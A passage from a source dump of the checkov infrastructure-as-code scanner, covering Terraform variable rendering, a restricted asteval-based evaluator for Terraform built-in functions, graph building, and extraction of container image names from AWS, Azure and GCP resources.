for c in ("{", "}", "[", "]", "=")) or self.attributes_no_eval(attribute, index) ): evaluated_lst.append(inner_val) continue evaluated = self.evaluate_value(inner_val) evaluated_lst.append(evaluated) evaluated = evaluated_lst if not isinstance(curr_val, list): evaluated = evaluated_lst[0] if evaluated != curr_val: vertex.update_inner_attribute(attribute, vertex.attributes, evaluated) changed_attributes[attribute] = evaluated self.local_graph.update_vertex_config(vertex, changed_attributes) @staticmethod def extract_dynamic_value_in_map(dynamic_value: str, dynamic_argument: str = '') -> str: if LOOKUP in dynamic_value and dynamic_argument in dynamic_value: return dynamic_argument dynamic_value_in_map = dynamic_value.split(DOT_SEPERATOR)[-1] if LEFT_BRACKET not in dynamic_value_in_map: return dynamic_value_in_map return dynamic_value_in_map.split(LEFT_BRACKET_WITH_QUOTATION)[-1].replace(RIGHT_BRACKET_WITH_QUOTATION, '') def evaluate_value(self, val: Any) -> Any: val_length: int = len(str(val)) if CHECKOV_RENDER_MAX_LEN and 0 < CHECKOV_RENDER_MAX_LEN < val_length: logging.debug(f'Rendering was skipped for a {val_length}-character-long string. If you wish to have it ' f'evaluated, please set the environment variable CHECKOV_RENDER_MAX_LEN ' f'to {str(val_length + 1)} or to 0 to allow rendering of any length') return val if type(val) not in [str, list, set, dict]: evaluated_val = val elif isinstance(val, str): evaluated_val = evaluator.evaluate_terraform(val, keep_interpolations=False) elif isinstance(val, list): evaluated_val = [] for v in val: evaluated_val.append(self.evaluate_value(v)) elif isinstance(val, set): evaluated_val = set() for v in val: evaluated_v = self.evaluate_value(v) if isinstance(evaluated_v, Hashable): evaluated_val.add(evaluated_v) else: evaluated_val.add(str(evaluated_v)) else: evaluated_val = {} for k, v in val.items(): evaluated_key = self.evaluate_value(k) evaluated_val[evaluated_key] = self.evaluate_value(v) return evaluated_val def find_match_bracket_index(s: str, open_bracket_idx: int) -> int: res = {} pstack = [] for i, c in enumerate(s): if c == LEFT_BRACKET: pstack.append(i) elif c == RIGHT_BRACKET: if len(pstack) == 0: logging.debug("No matching closing brackets at: " + str(i)) return -1 res[pstack.pop()] = i if len(pstack) > 0: logging.debug("No matching opening brackets at: " + str(pstack.pop())) return res.get(open_bracket_idx) or -1 def get_lookup_value(block_content: dict[str, Any], dynamic_argument: str) -> str: lookup_value: str = '' if 'None' in block_content[dynamic_argument]: lookup_value = 'null' elif 'False' in block_content[dynamic_argument]: lookup_value = 'false' elif 'True' in block_content[dynamic_argument]: lookup_value = 'true' return lookup_value def create_variable_key_path(key_path: list[str]) -> str: """Returns the key_path without the var prefix ex. ["var", "properties", "region"] -> "properties/region" """ return "/".join(key_path[1:]) ================================================ FILE: checkov/terraform/graph_builder/variable_rendering/safe_eval_functions.py ================================================ from __future__ import annotations import itertools import logging import os import re from datetime import datetime, timedelta from functools import reduce from math import ceil, floor, log from typing import Union, Any, Dict, Callable, List, Optional from asteval import Interpreter from checkov.terraform.parser_functions import tonumber, FUNCTION_FAILED, create_map, tobool, tostring TIME_DELTA_PATTERN = re.compile(r"(\d*\.*\d+)") RANGE_PATTERN = re.compile(r'^\d+-\d+$') """ This file contains a custom implementation of the builtin `eval` function. `eval` is not a safe function, because it can execute *every* command, so this file overrides `eval` and allows only the functions in SAFE_EVAL_DICT. The functions are an implementation of Terraform's built-in functions https://www.terraform.io/docs/configuration/functions.html Not all of the functions are implemented yet. If a function doesn't exist, the original value is returned. """ def _find_regex_groups(pattern: str, input_str: str) -> Optional[Union[Dict[str, str], List[str]]]: match = re.match(pattern, input_str) if match: if match.groupdict(): # try to find named capturing groups return match.groupdict() if list(match.groups()): # try to find unnamed capturing groups return list(match.groups()) return None def regex(pattern: str, input_str: str) -> Union[Dict[str, str], List[str], str]: try: groups = _find_regex_groups(pattern, input_str) if groups is not None: return groups results: List[str] = re.findall(pattern, input_str) # return first match if len(results) > 0: return results[0] return "" except TypeError: return f"regex({pattern}, {input_str})" def regexall(pattern: str, input_str: str) -> Union[Dict[str, str], List[str], str]: try: groups = _find_regex_groups(pattern, input_str) if groups is not None: return groups results = re.findall(pattern, input_str) return results except TypeError: return f"regexall({pattern}, {input_str})" def trim(input_str: str, chars_to_remove: str) -> str: for c in chars_to_remove: input_str = input_str.replace(c, "") return input_str def coalesce(*arg: Any) -> Any: return reduce(lambda x, y: x if x not in [None, ""] else y, arg) def coalesce_list(*arg: List[Any]) -> List[Any]: return reduce(lambda x, y: x if x not in [None, []] else y, arg) def flatten(lst: List[List[Any]]) -> List[Any]: res = [item for sublist in lst for item in sublist] if any(type(elem) is list for elem in res): return flatten(res) else: return res def matchkeys(values_list: List[Any], keys_list: List[Any], search_set: List[Any]) -> List[Any]: matching = set() for search in search_set: indices = [i for i, x in enumerate(keys_list) if x == search] for i in indices: matching.add(values_list[i]) return list(matching) def reverse(lst: List[Any]) -> List[Any]: lst.reverse() return lst def sort(lst: List[str]) -> List[str]: lst.sort() return lst def merge(*args: Any) -> Dict[str, Any]: res: Dict[str, Any] = {} for d in args: res = {**res, **d} return res def wrap_func(f: Callable[..., Any], *args: Any) -> Any: res = f(*args) if res == FUNCTION_FAILED: raise ValueError return res def update_datetime(dt: datetime, delta: timedelta, adding: bool) -> datetime: if adding is True: dt = dt + delta else: dt = dt - delta return dt def timeadd(input_str: str, time_delta: str) -> str: ''' From docs: duration is a string representation of a time difference, consisting of sequences of number and unit pairs, like "1.5h" or "1h30m". The accepted units are "ns", "us" (or "µs"), "ms", "s", "m", and "h". The first number may be negative to indicate a negative duration, like "-2h5m". ''' # Convert the date to allowing parsing input_str = input_str.replace("Z", "+00:00") dt = datetime.fromisoformat(input_str) adding = True if time_delta[0] == '-': adding = False time_delta = time_delta[1:] # Split out into each of the deltas deltas = re.split(TIME_DELTA_PATTERN, time_delta) # Needed to strip the leading empty element deltas = list(filter(None, deltas)) while len(deltas) > 0: amount = float(deltas[0]) interval = deltas[1] deltas = deltas[2:] delta = timedelta(0) if interval == 'h': delta = timedelta(hours=amount) elif interval == 'm': delta = timedelta(minutes=amount) elif interval == 's': delta = timedelta(seconds=amount) elif interval == 'ms': delta = timedelta(milliseconds=amount) elif interval == 'us' or interval == 'µs': delta = timedelta(microseconds=amount) elif interval == 'ns': # Crude, but timedelta does not deal with nanoseconds delta = timedelta(microseconds=(amount / 1000)) dt = update_datetime(dt, delta, adding) return dt.strftime('%Y-%m-%dT%H:%M:%SZ') def process_formatting_codes(format_str: str, dt: datetime) -> str: format_mapping = { "YYYY": "%Y", "YY": "%y", "MMMM": "%B", "MMM": "%b", "MM": "%m", "M": "%-m", "DD" : "%d", "D" : "%-d", "EEEE" : "%A", "EEE" : "%a", "HH" : "%I", "H" : "%-I", "hh" : "%H", "h" : "%-H", "mm" : "%M", "m" : "%-M", "ss" : "%S", "s" : "%-S", "AA" : "%p", # "aa" : "%p", # included for completeness but requires separate handling "ZZZZZ" : "%z", "ZZZZ" : "%z", "ZZZ" : "%z", "Z " : "%z"} if format_str == 'aa': format_str = dt.strftime('%p').lower() elif format_str == 'ZZZZZ': tz = dt.strftime("%z") format_str = tz[:3] + ":" + tz[3:] elif format_str == 'ZZZ': tz = dt.strftime("%z") if tz == '+0000': tz = 'UTC' format_str = tz elif format_str == 'Z': tz = dt.strftime("%z") if tz == '+0000': tz = 'Z' format_str = tz else: format_str = format_mapping.get(format_str, format_str) return format_str def formatdate(format_str: str, input_str: str) -> str: ''' From docs: This function is intended for producing common machine-oriented timestamp formats such as those defined in RFC822, RFC850, and RFC1123. It is not suitable for truly human-oriented date formatting because it is not locale-aware. Any non-letter characters, such as punctuation, are reproduced verbatim in the output. To include literal letters in the format string, enclose them in single quotes '. To include a literal quote, escape it by doubling the quotes. Function works through the format string halting on single quotes to process any formatting ''' # Convert the input str to a date input_str = input_str.replace("Z", "+00:00") dt = datetime.fromisoformat(input_str) processed_format_str = "" format_str_segment = "" in_quote = False # Keep track of whether in formatting or quoted text last_ch = "" # Used to identify the '' scenario for ch in format_str: if ch == "'" or in_quote is True: if len(format_str_segment) > 0: processed_format_str += process_formatting_codes(format_str_segment, dt) format_str_segment = "" if ch == "'": if last_ch == "'": processed_format_str += "'" in_quote = not in_quote else: processed_format_str += ch else: if ch != last_ch and last_ch != "": # new format code and the start of the string processed_format_str += process_formatting_codes(format_str_segment, dt) format_str_segment = "" format_str_segment += ch last_ch = ch if len(format_str_segment) > 0: processed_format_str += process_formatting_codes(format_str_segment, dt) return dt.strftime(processed_format_str) def terraform_try(*args: Any) -> Any: """ From terraform docs: "try evaluates all of its argument expressions in turn and returns the result of the first one that does not produce any errors." """ for arg in args: try: return evaluate(arg) if isinstance(arg, str) else arg except Exception as e: logging.warning(f"Error in evaluate_try of argument {arg} - {e}") continue raise Exception(f"No argument can be evaluated for try of {args}") SAFE_EVAL_FUNCTIONS: List[str] = [] SAFE_EVAL_DICT = dict([(k, locals().get(k, None)) for k in SAFE_EVAL_FUNCTIONS]) # type conversion functions TRY_STR_REPLACEMENT = "__terraform_try__" SAFE_EVAL_DICT[TRY_STR_REPLACEMENT] = terraform_try # math functions SAFE_EVAL_DICT["abs"] = abs SAFE_EVAL_DICT["ceil"] = ceil SAFE_EVAL_DICT["floor"] = floor SAFE_EVAL_DICT["log"] = log SAFE_EVAL_DICT["max"] = max SAFE_EVAL_DICT["min"] = min SAFE_EVAL_DICT["parsint"] = int SAFE_EVAL_DICT["pow"] = pow SAFE_EVAL_DICT["signum"] = lambda x: -1 if x < 0 else 0 if x == 0 else 1 # string functions SAFE_EVAL_DICT["chomp"] = lambda x: x.rstrip() SAFE_EVAL_DICT["format"] = lambda text_to_format, *args: (text_to_format % args) SAFE_EVAL_DICT["formatlist"] = lambda text_to_format, args_list: [(text_to_format % args) for args in args_list] SAFE_EVAL_DICT["indent"] = lambda num_of_space, input_str: input_str SAFE_EVAL_DICT["join"] = lambda separator, lst: separator.join(lst) SAFE_EVAL_DICT["lower"] = lambda input_str: input_str.lower() SAFE_EVAL_DICT["regex"] = regex SAFE_EVAL_DICT["regexall"] = regexall SAFE_EVAL_DICT["replace"] = lambda string, substring, replacement: string.replace(substring, replacement) SAFE_EVAL_DICT["split"] = lambda separator, input_str: input_str.split(separator) SAFE_EVAL_DICT["strrev"] = lambda input_str: input_str[::-1] SAFE_EVAL_DICT["substr"] = lambda input_str, offset, length: input_str[offset : offset + length] SAFE_EVAL_DICT["title"] = lambda input_str: input_str.title() SAFE_EVAL_DICT["trim"] = trim SAFE_EVAL_DICT["trimprefix"] = lambda input_str, prefix: input_str.lstrip(prefix) SAFE_EVAL_DICT["trimsuffix"] = lambda input_str, prefix: input_str.rstrip(prefix) SAFE_EVAL_DICT["trimspace"] = lambda input_str: input_str.strip() SAFE_EVAL_DICT["upper"] = lambda input_str: input_str.upper() # collections SAFE_EVAL_DICT["chunklist"] = lambda lst, chunk_size: [lst[i : i + chunk_size] for i in range(0, len(lst), chunk_size)] SAFE_EVAL_DICT["coalesce"] = coalesce SAFE_EVAL_DICT["coalescelist"] = coalesce_list SAFE_EVAL_DICT["compact"] = lambda lst: list(filter(lambda value: value != "", lst)) SAFE_EVAL_DICT["concat"] = lambda *lists: list(itertools.chain(*lists)) SAFE_EVAL_DICT["contains"] = lambda lst, value: value in lst SAFE_EVAL_DICT["distinct"] = lambda lst: list(dict.fromkeys(lst)) SAFE_EVAL_DICT["element"] = lambda lst, index: lst[index] SAFE_EVAL_DICT["flatten"] = flatten SAFE_EVAL_DICT["index"] = lambda lst, value: lst.index(value) SAFE_EVAL_DICT["keys"] = lambda map_input: list(map_input.keys()) SAFE_EVAL_DICT["length"] = len SAFE_EVAL_DICT["list"] = lambda *args: list(args) SAFE_EVAL_DICT["lookup"] = lambda map_input, key, default: map_input.get(key, default) SAFE_EVAL_DICT["map"] = lambda *args: wrap_func(create_map, list(args)) SAFE_EVAL_DICT["matchkeys"] = matchkeys SAFE_EVAL_DICT["merge"] = merge # SAFE_EVAL_DICT['range'] SAFE_EVAL_DICT["reverse"] = reverse SAFE_EVAL_DICT["sort"] = sort SAFE_EVAL_DICT["zipmap"] = lambda *lists: dict(zip(*lists)) # noqa: B905 # type conversion SAFE_EVAL_DICT["tobool"] = lambda arg: wrap_func(tobool, arg) SAFE_EVAL_DICT["tolist"] = lambda *args: list(*args) # SAFE_EVAL_DICT["tomap"] = lambda arg: wrap_func(tomap, str(arg)) SAFE_EVAL_DICT["tonumber"] = lambda arg: arg if type(arg) in [int, float] else wrap_func(tonumber, arg) SAFE_EVAL_DICT["toset"] = lambda origin: set(origin) SAFE_EVAL_DICT["tostring"] = lambda arg: arg if isinstance(arg, str) else wrap_func(tostring, str(arg)) # encoding SAFE_EVAL_DICT["jsonencode"] = lambda arg: arg # date functions SAFE_EVAL_DICT["timestamp"] = lambda: datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ') SAFE_EVAL_DICT["timeadd"] = timeadd SAFE_EVAL_DICT["formatdate"] = formatdate def get_asteval() -> Interpreter: # asteval provides a safer environment for evaluating expressions by restricting the operations to a secure subset, significantly reducing the risk of executing malicious code. return Interpreter( symtable=SAFE_EVAL_DICT, use_numpy=False, minimal=True ) def evaluate(input_str: str) -> Any: """ Safely evaluate a Terraform-like function expression using a predefined function map. Falls back gracefully if evaluation fails. """ if not input_str or input_str == "...": # don't create an Ellipsis object return input_str if input_str.startswith("try"): # As `try` is a saved word in python, we can't override it like other functions as `eval` won't accept it. # Instead, we are manually replacing this string with our own custom string, so we can pass it to `eval`. # Don't use str.replace to make sure we replace just the first occurrence input_str = f"{TRY_STR_REPLACEMENT}{input_str[3:]}" if input_str == "continue": return input_str asteval = get_asteval() log_level = os.getenv("LOG_LEVEL") should_log_asteval_errors = log_level == "DEBUG" if RANGE_PATTERN.match(input_str): temp_eval = asteval(input_str, show_errors=should_log_asteval_errors) evaluated = input_str if temp_eval < 0 else temp_eval else: evaluated = asteval(input_str, show_errors=should_log_asteval_errors) if asteval.error: error_messages = [err.get_error() for err in asteval.error] raise ValueError(f"Safe evaluation error: {error_messages}") return evaluated if not isinstance(evaluated, str) else remove_unicode_null(evaluated) def remove_unicode_null(input_str: str) -> str: return input_str.replace("\u0000", "\\0") ================================================ FILE: checkov/terraform/graph_builder/variable_rendering/vertex_reference.py ================================================ from __future__ import annotations from checkov.common.graph.graph_builder.variable_rendering.vertex_reference import VertexReference from checkov.terraform.graph_builder.graph_components.block_types import BlockType class TerraformVertexReference(VertexReference): def __init__(self, block_type: str, sub_parts: list[str], origin_value: str) -> None: super().__init__(block_type, sub_parts, origin_value) @staticmethod def block_type_str_to_enum(block_type_str: str) -> str: if block_type_str == "var": return BlockType.VARIABLE if block_type_str == "local": return BlockType.LOCALS return BlockType().get(block_type_str) ================================================ FILE: checkov/terraform/graph_manager.py ================================================ from __future__ import annotations import logging import os from typing import Type, Any, TYPE_CHECKING, overload, Optional from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.common.graph.graph_manager import GraphManager from checkov.terraform.tf_parser import TFParser if TYPE_CHECKING: from checkov.terraform.modules.module_objects import TFDefinitionKey from checkov.common.typing import LibraryGraphConnector class TerraformGraphManager(GraphManager[TerraformLocalGraph, "dict[TFDefinitionKey, dict[str, Any]]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str = "") -> None: self.parser: TFParser # just to make sure it won't be None parser = TFParser() super().__init__(db_connector=db_connector, parser=parser, source=source) def build_multi_graph_from_source_directory( self, source_dir: str, local_graph_class: Type[TerraformLocalGraph] = TerraformLocalGraph, render_variables: bool = True, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR, vars_files: list[str] | None = None, external_modules_content_cache: Optional[dict[str, Any]] = None, ) -> tuple[list[tuple[TerraformLocalGraph, list[dict[TFDefinitionKey, dict[str, Any]]], str]], dict[str, str]]: logging.info("Parsing HCL files in source dir to multi graph") modules_with_definitions = self.parser.parse_multi_graph_hcl_module( source_dir=source_dir, source=self.source, download_external_modules=download_external_modules, external_modules_download_path=external_modules_download_path, parsing_errors=parsing_errors, excluded_paths=excluded_paths, vars_files=vars_files, external_modules_content_cache=external_modules_content_cache ) graphs: list[tuple[TerraformLocalGraph, list[dict[TFDefinitionKey, dict[str, Any]]], str]] = [] resource_subgraph_map: dict[str, str] = {} for module, tf_definitions in modules_with_definitions: logging.info("Building graph from parsed module") local_graph = local_graph_class(module) local_graph.build_graph(render_variables=render_variables) subgraph_abs_path = module.source_dir subgraph_path = subgraph_abs_path[subgraph_abs_path.rindex(source_dir) + len(source_dir) + 1:] graphs.append((local_graph, tf_definitions, subgraph_path)) self.update_resource_subgraph_map(local_graph, subgraph_path, resource_subgraph_map, source_dir) return graphs, resource_subgraph_map def build_graph_from_source_directory( self, source_dir: str, local_graph_class: Type[TerraformLocalGraph] = TerraformLocalGraph, render_variables: bool = True, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, **kwargs: Any, ) -> tuple[TerraformLocalGraph, dict[TFDefinitionKey, dict[str, Any]]]: logging.info("Parsing HCL files in source dir to graph") module, tf_definitions = self.parser.parse_hcl_module( source_dir=source_dir, source=self.source, download_external_modules=download_external_modules, external_modules_download_path=kwargs.get('external_modules_download_path', DEFAULT_EXTERNAL_MODULES_DIR), parsing_errors=parsing_errors, excluded_paths=excluded_paths, vars_files=kwargs.get('vars_files', None), external_modules_content_cache=kwargs.get('external_modules_content_cache', None) ) logging.info("Building graph from parsed module") local_graph = local_graph_class(module) local_graph.build_graph(render_variables=render_variables) return local_graph, tf_definitions @overload def build_graph_from_definitions( self, definitions: dict[str, dict[str, Any]], render_variables: bool = True, ) -> TerraformLocalGraph: ... @overload def build_graph_from_definitions( self, definitions: dict[TFDefinitionKey, dict[str, Any]], render_variables: bool = True, ) -> TerraformLocalGraph: ... def build_graph_from_definitions( self, definitions: dict[str, dict[str, Any]] | dict[TFDefinitionKey, dict[str, Any]], render_variables: bool = True, ) -> TerraformLocalGraph: module, _ = self.parser.parse_hcl_module_from_tf_definitions(definitions, "", self.source) local_graph = TerraformLocalGraph(module) local_graph.build_graph(render_variables=render_variables) return local_graph def build_multi_graph_from_definitions( self, definitions: dict[TFDefinitionKey, dict[str, Any]], render_variables: bool = True, ) -> list[tuple[Optional[str], TerraformLocalGraph]]: module, tf_definitions = self.parser.parse_hcl_module_from_tf_definitions(definitions, "", self.source) dirs_to_definitions = self.parser.create_definition_by_dirs(tf_definitions) graphs: list[tuple[Optional[str], TerraformLocalGraph]] = [] for source_path, dir_definitions in dirs_to_definitions.items(): module, parsed_tf_definitions = self.parser.parse_hcl_module_from_multi_tf_definitions(dir_definitions, source_path, self.source) local_graph = TerraformLocalGraph(module) local_graph.build_graph(render_variables=render_variables) graphs.append((source_path, local_graph)) return graphs @staticmethod def update_resource_subgraph_map( local_graph: TerraformLocalGraph, subgraph_path: str, resource_subgraph_map: dict[str, str], source_dir: str ) -> None: for v in local_graph.vertices: resource_id = f"/{os.path.relpath(v.path, source_dir)}:{v.id}" resource_subgraph_map[resource_id] = subgraph_path ================================================ FILE: checkov/terraform/image_referencer/__init__.py ================================================ ================================================ FILE: checkov/terraform/image_referencer/base_provider.py ================================================ from __future__ import annotations import os from hcl2 import START_LINE as HCL_START_LINE, END_LINE as HCL_END_LINE from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider from checkov.common.images.image_referencer import Image from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.str_utils import removeprefix from checkov.terraform.graph_builder.utils import setup_file_path_to_referred_id, get_related_resource_id class BaseTerraformProvider(GraphImageReferencerProvider): def extract_images_from_resources(self) -> list[Image]: images = [] supported_resources_graph = self.extract_nodes() file_path_to_referred_id = setup_file_path_to_referred_id(self.graph_connector) for resource in self.extract_resource(supported_resources_graph): image_names: list[str] = [] resource_type = resource[CustomAttributes.RESOURCE_TYPE] extract_images_func = self.supported_resource_types.get(resource_type) if extract_images_func: image_names.extend(extract_images_func(resource)) if not image_names: # no need to process any further continue start_line = 0 end_line = 0 if all(key in resource for key in (HCL_START_LINE, HCL_END_LINE)): # hcl file start_line = resource[HCL_START_LINE] end_line = resource[HCL_END_LINE] elif all(key in resource for key in (START_LINE, END_LINE)): # TF plan file start_line = resource[START_LINE] end_line = resource[END_LINE] related_resource_id = get_related_resource_id(resource, file_path_to_referred_id) for name in image_names: images.append( Image( file_path=resource[CustomAttributes.FILE_PATH], name=name, start_line=start_line, end_line=end_line, related_resource_id=f'{removeprefix(resource.get("file_path_", ""), os.getenv("BC_ROOT_DIR", ""))}:{related_resource_id}' ) ) return images ================================================ FILE: checkov/terraform/image_referencer/manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager from checkov.terraform.image_referencer.provider.aws import AwsTerraformProvider from checkov.terraform.image_referencer.provider.azure import AzureTerraformProvider from checkov.terraform.image_referencer.provider.gcp import GcpTerraformProvider if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class TerraformImageReferencerManager(GraphImageReferencerManager): def extract_images_from_resources(self) -> list[Image]: images = [] aws_provider = AwsTerraformProvider(graph_connector=self.graph_connector) azure_provider = AzureTerraformProvider(graph_connector=self.graph_connector) gcp_provider = GcpTerraformProvider(graph_connector=self.graph_connector) images.extend(aws_provider.extract_images_from_resources()) images.extend(azure_provider.extract_images_from_resources()) images.extend(gcp_provider.extract_images_from_resources()) return images ================================================ FILE: checkov/terraform/image_referencer/provider/__init__.py ================================================ ================================================ FILE: checkov/terraform/image_referencer/provider/aws.py ================================================ from __future__ import annotations from typing import Any from checkov.common.typing import LibraryGraph from checkov.common.util.data_structures_utils import find_in_dict from checkov.common.util.type_forcers import force_list, extract_json from checkov.terraform.image_referencer.base_provider import BaseTerraformProvider class AwsTerraformProvider(BaseTerraformProvider): def __init__(self, graph_connector: LibraryGraph) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_AWS_IMAGE_RESOURCE_TYPES, ) def extract_images_from_aws_apprunner_service(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] image_repo = find_in_dict(input_dict=resource, key_path="source_configuration/image_repository") if isinstance(image_repo, dict): repo_type = image_repo.get("image_repository_type") name = image_repo.get("image_identifier") if name and isinstance(name, str) and repo_type == "ECR_PUBLIC": image_names.append(name) return image_names def extract_images_from_aws_batch_job_definition(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] properties = extract_json(resource.get("container_properties")) if isinstance(properties, dict): name = properties.get("image") if name and isinstance(name, str): image_names.append(name) # node properties are not supported yet # https://github.com/hashicorp/terraform-provider-aws/issues/20983 return image_names def extract_images_from_aws_codebuild_project(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] name = find_in_dict(input_dict=resource, key_path="environment/image") if name and isinstance(name, str): # AWS provided images have an internal identifier if not name.startswith("aws/codebuild/"): image_names.append(name) return image_names def extract_images_from_aws_ecs_task_definition(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] definitions = extract_json(resource.get("container_definitions")) if isinstance(definitions, list): for definition in definitions: if isinstance(definition, dict): name = definition.get("image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_aws_lightsail_container_service_deployment_version(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] containers = resource.get("container") if containers: for container in force_list(containers): if isinstance(container, dict): name = container.get("image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_aws_sagemaker_image_version(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] image_name = find_in_dict(input_dict=resource, key_path="base_image") if image_name and isinstance(image_name, str): image_names.append(image_name) return image_names def extract_images_from_aws_sagemaker_model(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] containers = resource.get("container") if containers: for container in force_list(containers): if isinstance(container, dict): name = container.get("image") if name and isinstance(name, str): image_names.append(name) containers = resource.get("primary_container") if containers: for container in force_list(containers): if isinstance(container, dict): name = container.get("image") if name and isinstance(name, str): image_names.append(name) return image_names # needs to be at the bottom to add the defined functions SUPPORTED_AWS_IMAGE_RESOURCE_TYPES = { "aws_apprunner_service": extract_images_from_aws_apprunner_service, "aws_batch_job_definition": extract_images_from_aws_batch_job_definition, "aws_codebuild_project": extract_images_from_aws_codebuild_project, "aws_ecs_task_definition": extract_images_from_aws_ecs_task_definition, "aws_lightsail_container_service_deployment_version": extract_images_from_aws_lightsail_container_service_deployment_version, "aws_sagemaker_image_version": extract_images_from_aws_sagemaker_image_version, "aws_sagemaker_model": extract_images_from_aws_sagemaker_model, } ================================================ FILE: checkov/terraform/image_referencer/provider/azure.py ================================================ from __future__ import annotations from typing import Any from checkov.common.typing import LibraryGraph from checkov.common.util.data_structures_utils import find_in_dict from checkov.common.util.type_forcers import force_list from checkov.terraform.image_referencer.base_provider import BaseTerraformProvider class AzureTerraformProvider(BaseTerraformProvider): def __init__(self, graph_connector: LibraryGraph) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_AZURE_IMAGE_RESOURCE_TYPES, ) def extract_images_from_azurerm_batch_pool(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] containers = find_in_dict(input_dict=resource, key_path="container_configuration/container_image_names") if isinstance(containers, list): image_names.extend(container for container in containers if isinstance(container, str)) return image_names def extract_images_from_azurerm_container_group(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] containers = resource.get("container") if containers: for container in force_list(containers): name = container.get("image") if name and isinstance(name, str): image_names.append(name) containers = resource.get("init_container") if containers: for container in force_list(containers): name = container.get("image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_azurerm_linux_function_app(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] docker = find_in_dict(input_dict=resource, key_path="site_config/application_stack/docker") if isinstance(docker, dict): name = docker.get("image_name") tag = docker.get("image_tag") if name and isinstance(name, str) and tag and isinstance(tag, str): image_names.append(f"{name}:{tag}") return image_names def extract_images_from_azurerm_linux_web_app(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] app_stack = find_in_dict(input_dict=resource, key_path="site_config/application_stack") if isinstance(app_stack, dict): name = app_stack.get("docker_image") tag = app_stack.get("docker_image_tag") if name and isinstance(name, str) and tag and isinstance(tag, str): image_names.append(f"{name}:{tag}") return image_names def extract_images_from_azurerm_spring_cloud_container_deployment(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] name = resource.get("image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_azurerm_windows_web_app(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] app_stack = find_in_dict(input_dict=resource, key_path="site_config/application_stack") if isinstance(app_stack, dict): name = app_stack.get("docker_container_name") tag = app_stack.get("docker_container_tag") if name and isinstance(name, str) and tag and isinstance(tag, str): image_names.append(f"{name}:{tag}") return image_names # needs to be at the bottom to add the defined functions SUPPORTED_AZURE_IMAGE_RESOURCE_TYPES = { "azurerm_batch_pool": extract_images_from_azurerm_batch_pool, "azurerm_container_group": extract_images_from_azurerm_container_group, "azurerm_linux_function_app": extract_images_from_azurerm_linux_function_app, "azurerm_linux_function_app_slot": extract_images_from_azurerm_linux_function_app, "azurerm_linux_web_app": extract_images_from_azurerm_linux_web_app, "azurerm_linux_web_app_slot": extract_images_from_azurerm_linux_web_app, "azurerm_spring_cloud_container_deployment": extract_images_from_azurerm_spring_cloud_container_deployment, "azurerm_windows_web_app": extract_images_from_azurerm_windows_web_app, "azurerm_windows_web_app_slot": extract_images_from_azurerm_windows_web_app, } ================================================ FILE: checkov/terraform/image_referencer/provider/gcp.py ================================================ from __future__ import annotations from typing import Any from checkov.common.typing import LibraryGraph from checkov.common.util.data_structures_utils import find_in_dict from checkov.terraform.image_referencer.base_provider import BaseTerraformProvider class GcpTerraformProvider(BaseTerraformProvider): def __init__(self, graph_connector: LibraryGraph) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_GCP_IMAGE_RESOURCE_TYPES, ) def extract_images_from_google_cloudbuild_trigger(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] steps = find_in_dict(input_dict=resource, key_path="build/step") if isinstance(steps, list): for definition in steps: name = definition.get("name") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_google_cloud_run_service(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] name = find_in_dict(input_dict=resource, key_path="template/spec/containers/image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_google_cloud_run_v2_job(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] name = find_in_dict(input_dict=resource, key_path="template/template/containers/image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_google_cloud_run_v2_service(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] name = find_in_dict(input_dict=resource, key_path="template/containers/image") if name and isinstance(name, str): image_names.append(name) return image_names # needs to be at the bottom to add the defined functions SUPPORTED_GCP_IMAGE_RESOURCE_TYPES = { "google_cloudbuild_trigger": extract_images_from_google_cloudbuild_trigger, "google_cloud_run_service": extract_images_from_google_cloud_run_service, "google_cloud_run_v2_job": extract_images_from_google_cloud_run_v2_job, "google_cloud_run_v2_service": extract_images_from_google_cloud_run_v2_service, } ================================================ FILE: checkov/terraform/module_loading/__init__.py ================================================ # the order is important, because it reflects the order, which will be used to download the module from checkov.terraform.module_loading.loaders.registry_loader import RegistryLoader # noqa from checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader # noqa from checkov.terraform.module_loading.loaders.github_loader import GithubLoader # noqa from checkov.terraform.module_loading.loaders.bitbucket_loader import BitbucketLoader # noqa from 